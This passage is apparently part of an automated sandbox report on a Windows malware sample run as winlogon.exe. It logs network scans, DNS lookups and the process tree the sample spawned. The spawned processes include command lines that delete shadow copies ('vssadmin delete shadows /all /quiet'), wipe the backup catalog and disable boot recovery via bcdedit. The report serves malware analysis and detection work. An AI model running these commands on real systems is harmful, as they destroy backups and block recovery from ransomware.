Feb 12, 2018 21:38:35.896699905 CET	49176	135	192.168.2.2	192.168.2.238
Feb 12, 2018 21:38:35.903877974 CET	49177	135	192.168.2.2	192.168.2.242
Feb 12, 2018 21:38:36.022747993 CET	63535	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:36.172410011 CET	53	63535	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:36.489626884 CET	64117	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:36.696399927 CET	53	64117	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:37.006269932 CET	55120	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:37.137315989 CET	53	55120	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:37.452662945 CET	58962	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:37.739259005 CET	53	58962	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:38.052788973 CET	50225	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:38.164005041 CET	53	50225	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:38.479089022 CET	60278	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:38.696377039 CET	49169	135	192.168.2.2	192.168.2.254
Feb 12, 2018 21:38:38.718569040 CET	53	60278	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:38.880198002 CET	49170	135	192.168.2.2	192.168.2.246
Feb 12, 2018 21:38:38.880208969 CET	49171	135	192.168.2.2	192.168.2.252
Feb 12, 2018 21:38:38.880218029 CET	49172	135	192.168.2.2	192.168.2.248
Feb 12, 2018 21:38:38.880224943 CET	49173	135	192.168.2.2	192.168.2.250
Feb 12, 2018 21:38:38.880234003 CET	49174	135	192.168.2.2	192.168.2.244
Feb 12, 2018 21:38:38.916991949 CET	49175	135	192.168.2.2	192.168.2.240
Feb 12, 2018 21:38:38.917016983 CET	49176	135	192.168.2.2	192.168.2.238
Feb 12, 2018 21:38:38.917036057 CET	49177	135	192.168.2.2	192.168.2.242
Feb 12, 2018 21:38:39.026475906 CET	55216	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:39.156883001 CET	53	55216	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:39.511333942 CET	56951	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:39.673909903 CET	53	56951	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:39.979579926 CET	62051	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:40.080379009 CET	53	62051	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:40.392570972 CET	61043	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:40.572628021 CET	53	61043	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:40.883240938 CET	64395	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:41.035156965 CET	53	64395	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:41.355576038 CET	57416	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:41.578322887 CET	53	57416	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:41.888006926 CET	55268	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.034862995 CET	53	55268	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:42.338536024 CET	65065	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.437918901 CET	53	65065	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:42.756555080 CET	53409	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.868976116 CET	53	53409	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:43.488595009 CET	61881	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:43.676775932 CET	53	61881	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.000485897 CET	53988	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:44.106827974 CET	53	53988	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.427696943 CET	55654	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:44.625426054 CET	53	55654	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.714911938 CET	49169	135	192.168.2.2	192.168.2.254
Feb 12, 2018 21:38:44.915150881 CET	49170	135	192.168.2.2	192.168.2.246
Feb 12, 2018 21:38:44.915175915 CET	49171	135	192.168.2.2	192.168.2.252
Feb 12, 2018 21:38:44.915184975 CET	49172	135	192.168.2.2	192.168.2.248
Feb 12, 2018 21:38:44.915193081 CET	49173	135	192.168.2.2	192.168.2.250
Feb 12, 2018 21:38:44.915199995 CET	49174	135	192.168.2.2	192.168.2.244
Feb 12, 2018 21:38:44.915205956 CET	49175	135	192.168.2.2	192.168.2.240
Feb 12, 2018 21:38:44.915213108 CET	49176	135	192.168.2.2	192.168.2.238
Feb 12, 2018 21:38:44.915226936 CET	49177	135	192.168.2.2	192.168.2.242
Feb 12, 2018 21:38:44.953222990 CET	54534	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:45.142456055 CET	53	54534	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:45.473556995 CET	51206	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:45.779345989 CET	53	51206	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:46.084404945 CET	54894	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:46.238379002 CET	53	54894	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:46.544713020 CET	60111	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:46.779881954 CET	53	60111	8.8.8.8	192.168.2.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 12, 2018 21:38:30.860141993 CET	56842	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.880199909 CET	53440	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.880276918 CET	53	53440	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.905082941 CET	51075	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.905164003 CET	53	51075	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.927845955 CET	63053	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.927926064 CET	53	63053	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.995573997 CET	65490	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.995654106 CET	53	65490	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.002337933 CET	65311	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.002427101 CET	53	65311	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.012367010 CET	59195	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.012440920 CET	53	59195	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.036601067 CET	65034	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.036674976 CET	53	65034	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.050959110 CET	56352	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.051029921 CET	53	56352	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.059361935 CET	51492	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.059423923 CET	53	51492	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.765642881 CET	53	56842	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:32.179327011 CET	65236	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:32.311522007 CET	53	65236	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:32.616265059 CET	57178	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:32.753743887 CET	53	57178	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:33.061160088 CET	49408	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:33.179438114 CET	53	49408	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:33.513441086 CET	57291	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:33.718898058 CET	53	57291	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.032504082 CET	64225	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:34.168128967 CET	53	64225	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.497317076 CET	64017	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:34.668488026 CET	53	64017	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.980822086 CET	61578	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:35.109461069 CET	53	61578	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:35.419275999 CET	64808	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:35.682538033 CET	53	64808	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:36.022747993 CET	63535	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:36.172410011 CET	53	63535	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:36.489626884 CET	64117	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:36.696399927 CET	53	64117	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:37.006269932 CET	55120	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:37.137315989 CET	53	55120	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:37.452662945 CET	58962	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:37.739259005 CET	53	58962	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:38.052788973 CET	50225	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:38.164005041 CET	53	50225	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:38.479089022 CET	60278	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:38.718569040 CET	53	60278	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:39.026475906 CET	55216	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:39.156883001 CET	53	55216	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:39.511333942 CET	56951	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:39.673909903 CET	53	56951	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:39.979579926 CET	62051	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:40.080379009 CET	53	62051	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:40.392570972 CET	61043	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:40.572628021 CET	53	61043	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:40.883240938 CET	64395	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:41.035156965 CET	53	64395	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:41.355576038 CET	57416	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:41.578322887 CET	53	57416	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:41.888006926 CET	55268	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.034862995 CET	53	55268	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:42.338536024 CET	65065	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.437918901 CET	53	65065	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:42.756555080 CET	53409	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:42.868976116 CET	53	53409	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:43.488595009 CET	61881	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:43.676775932 CET	53	61881	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.000485897 CET	53988	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:44.106827974 CET	53	53988	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.427696943 CET	55654	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:44.625426054 CET	53	55654	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:44.953222990 CET	54534	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:45.142456055 CET	53	54534	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:45.473556995 CET	51206	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:45.779345989 CET	53	51206	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:46.084404945 CET	54894	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:46.238379002 CET	53	54894	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:46.544713020 CET	60111	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:46.779881954 CET	53	60111	8.8.8.8	192.168.2.2

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 12, 2018 21:38:30.860141993 CET	192.168.2.2	8.8.8.8	0xb7a7	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:32.179327011 CET	192.168.2.2	8.8.8.8	0xc3dd	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:32.616265059 CET	192.168.2.2	8.8.8.8	0x152	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:33.061160088 CET	192.168.2.2	8.8.8.8	0x26e4	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:33.513441086 CET	192.168.2.2	8.8.8.8	0xcd43	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:34.032504082 CET	192.168.2.2	8.8.8.8	0xc366	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:34.497317076 CET	192.168.2.2	8.8.8.8	0xd809	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:34.980822086 CET	192.168.2.2	8.8.8.8	0xfb5	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:35.419275999 CET	192.168.2.2	8.8.8.8	0xcd9f	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:36.022747993 CET	192.168.2.2	8.8.8.8	0x8b9d	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:36.489626884 CET	192.168.2.2	8.8.8.8	0xaa99	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:37.006269932 CET	192.168.2.2	8.8.8.8	0x2ad9	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:37.452662945 CET	192.168.2.2	8.8.8.8	0x9754	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:38.052788973 CET	192.168.2.2	8.8.8.8	0x9aa7	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:38.479089022 CET	192.168.2.2	8.8.8.8	0x4024	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:39.026475906 CET	192.168.2.2	8.8.8.8	0x7ff	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:39.511333942 CET	192.168.2.2	8.8.8.8	0x3298	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:39.979579926 CET	192.168.2.2	8.8.8.8	0x2c13	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:40.392570972 CET	192.168.2.2	8.8.8.8	0xf3f5	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:40.883240938 CET	192.168.2.2	8.8.8.8	0x1fa9	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:41.355576038 CET	192.168.2.2	8.8.8.8	0x715f	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:41.888006926 CET	192.168.2.2	8.8.8.8	0x948e	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:42.338536024 CET	192.168.2.2	8.8.8.8	0x4034	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:42.756555080 CET	192.168.2.2	8.8.8.8	0xde3e	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:43.488595009 CET	192.168.2.2	8.8.8.8	0xc681	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:44.000485897 CET	192.168.2.2	8.8.8.8	0xee4c	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:44.427696943 CET	192.168.2.2	8.8.8.8	0xb3fa	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:44.953222990 CET	192.168.2.2	8.8.8.8	0x10f7	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:45.473556995 CET	192.168.2.2	8.8.8.8	0xfd81	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:46.084404945 CET	192.168.2.2	8.8.8.8	0xc169	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:46.544713020 CET	192.168.2.2	8.8.8.8	0xad00	Standard query (0)	252.0.0.224.in-addr.arpa	PTR (Pointer record)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	CName	Address	Type	Class
Feb 12, 2018 21:38:31.765642881 CET	8.8.8.8	192.168.2.2	0xb7a7	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:32.311522007 CET	8.8.8.8	192.168.2.2	0xc3dd	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:32.753743887 CET	8.8.8.8	192.168.2.2	0x152	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:33.179438114 CET	8.8.8.8	192.168.2.2	0x26e4	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:33.718898058 CET	8.8.8.8	192.168.2.2	0xcd43	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:34.168128967 CET	8.8.8.8	192.168.2.2	0xc366	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:34.668488026 CET	8.8.8.8	192.168.2.2	0xd809	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:35.109461069 CET	8.8.8.8	192.168.2.2	0xfb5	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:35.682538033 CET	8.8.8.8	192.168.2.2	0xcd9f	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:36.172410011 CET	8.8.8.8	192.168.2.2	0x8b9d	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:36.696399927 CET	8.8.8.8	192.168.2.2	0xaa99	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:37.137315989 CET	8.8.8.8	192.168.2.2	0x2ad9	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:37.739259005 CET	8.8.8.8	192.168.2.2	0x9754	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:38.164005041 CET	8.8.8.8	192.168.2.2	0x9aa7	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:38.718569040 CET	8.8.8.8	192.168.2.2	0x4024	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:39.156883001 CET	8.8.8.8	192.168.2.2	0x7ff	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:39.673909903 CET	8.8.8.8	192.168.2.2	0x3298	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:40.080379009 CET	8.8.8.8	192.168.2.2	0x2c13	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:40.572628021 CET	8.8.8.8	192.168.2.2	0xf3f5	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:41.035156965 CET	8.8.8.8	192.168.2.2	0x1fa9	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:41.578322887 CET	8.8.8.8	192.168.2.2	0x715f	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:42.034862995 CET	8.8.8.8	192.168.2.2	0x948e	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:42.437918901 CET	8.8.8.8	192.168.2.2	0x4034	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:42.868976116 CET	8.8.8.8	192.168.2.2	0xde3e	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:43.676775932 CET	8.8.8.8	192.168.2.2	0xc681	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:44.106827974 CET	8.8.8.8	192.168.2.2	0xee4c	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:44.625426054 CET	8.8.8.8	192.168.2.2	0xb3fa	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:45.142456055 CET	8.8.8.8	192.168.2.2	0x10f7	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:45.779345989 CET	8.8.8.8	192.168.2.2	0xfd81	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:46.238379002 CET	8.8.8.8	192.168.2.2	0xc169	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)
Feb 12, 2018 21:38:46.779881954 CET	8.8.8.8	192.168.2.2	0xad00	Name error (3)	252.0.0.224.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: winlogon.exe PID: 3216 Parent PID: 2940

General

Start time:	21:38:46
Start date:	12/02/2018
Path:	C:\Users\user\Desktop\winlogon.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\winlogon.exe'
Imagebase:	0xd60000
File size:	1861632 bytes
MD5 hash:	CFDD16225E67471F5EF54CAB9B3A5558
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: yegus.exe PID: 3232 Parent PID: 3216

General

Start time:	21:38:46
Start date:	12/02/2018
Path:	C:\Users\user\AppData\Local\Temp\yegus.exe
Wow64 process (32bit):	false
Commandline:	123 \\.\pipe\122B85FE-84BD-45AB-AEE5-28D37FB4C464
Imagebase:	0x1330000
File size:	769536 bytes
MD5 hash:	4F43F03783F9789F804DCF9B9474FA6D
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: ucngw.exe PID: 3280 Parent PID: 3216

General

Start time:	21:38:47
Start date:	12/02/2018
Path:	C:\Users\user\AppData\Local\Temp\ucngw.exe
Wow64 process (32bit):	false
Commandline:	123 \\.\pipe\33F83B68-FC3D-4C1F-B4AE-1329770D367B
Imagebase:	0xc50000
File size:	231424 bytes
MD5 hash:	6E0EBEEEA1CB00192B074B288A4F9CFE
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: _usm.exe PID: 3296 Parent PID: 3216

General

Start time:	21:38:49
Start date:	12/02/2018
Path:	C:\Users\user\AppData\Local\Temp\_usm.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe
Imagebase:	0x140000
File size:	36864 bytes
MD5 hash:	3C0D740347B0362331C882C2DEE96DBF
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 3336 Parent PID: 3296

General

Start time:	21:38:49
Start date:	12/02/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Imagebase:	0x4a9e0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vssadmin.exe PID: 3372 Parent PID: 3336

General

Start time:	21:38:50
Start date:	12/02/2018
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	c:\Windows\system32\vssadmin.exe delete shadows /all /quiet
Imagebase:	0x6e0000
File size:	115200 bytes
MD5 hash:	6E248A3D528EDE43994457CF417BD665
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 3404 Parent PID: 3296

General

Start time:	21:38:51
Start date:	12/02/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wbadmin.exe delete catalog -quiet
Imagebase:	0x4a0d0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wbadmin.exe PID: 3428 Parent PID: 3404

General

Start time:	21:38:52
Start date:	12/02/2018
Path:	C:\Windows\System32\wbadmin.exe
Wow64 process (32bit):	false
Commandline:	wbadmin.exe delete catalog -quiet
Imagebase:	0x670000
File size:	224768 bytes
MD5 hash:	EAB630E7E6A7FC248870A2FCDC098B98
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: wbengine.exe PID: 3464 Parent PID: 424

General

Start time:	21:38:52
Start date:	12/02/2018
Path:	C:\Windows\System32\wbengine.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbengine.exe
Imagebase:	0xbf0000
File size:	1203200 bytes
MD5 hash:	691E3285E53DCA558E1A84667F13E15A
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: vdsldr.exe PID: 3496 Parent PID: 548

General

Start time:	21:38:52
Start date:	12/02/2018
Path:	C:\Windows\System32\vdsldr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vdsldr.exe -Embedding
Imagebase:	0x3b0000
File size:	19968 bytes
MD5 hash:	A2551668C78CEA4089D71A0A3B36FC0C
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: vds.exe PID: 3524 Parent PID: 424

General

Start time:	21:38:53
Start date:	12/02/2018
Path:	C:\Windows\System32\vds.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\vds.exe
Imagebase:	0xac0000
File size:	453632 bytes
MD5 hash:	C3CD30495687C2A2F66A65CA6FD89BE9
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 3668 Parent PID: 3296

General

Start time:	21:38:55
Start date:	12/02/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Imagebase:	0x4a460000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: bcdedit.exe PID: 3692 Parent PID: 3668

General

Start time:	21:38:55
Start date:	12/02/2018
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
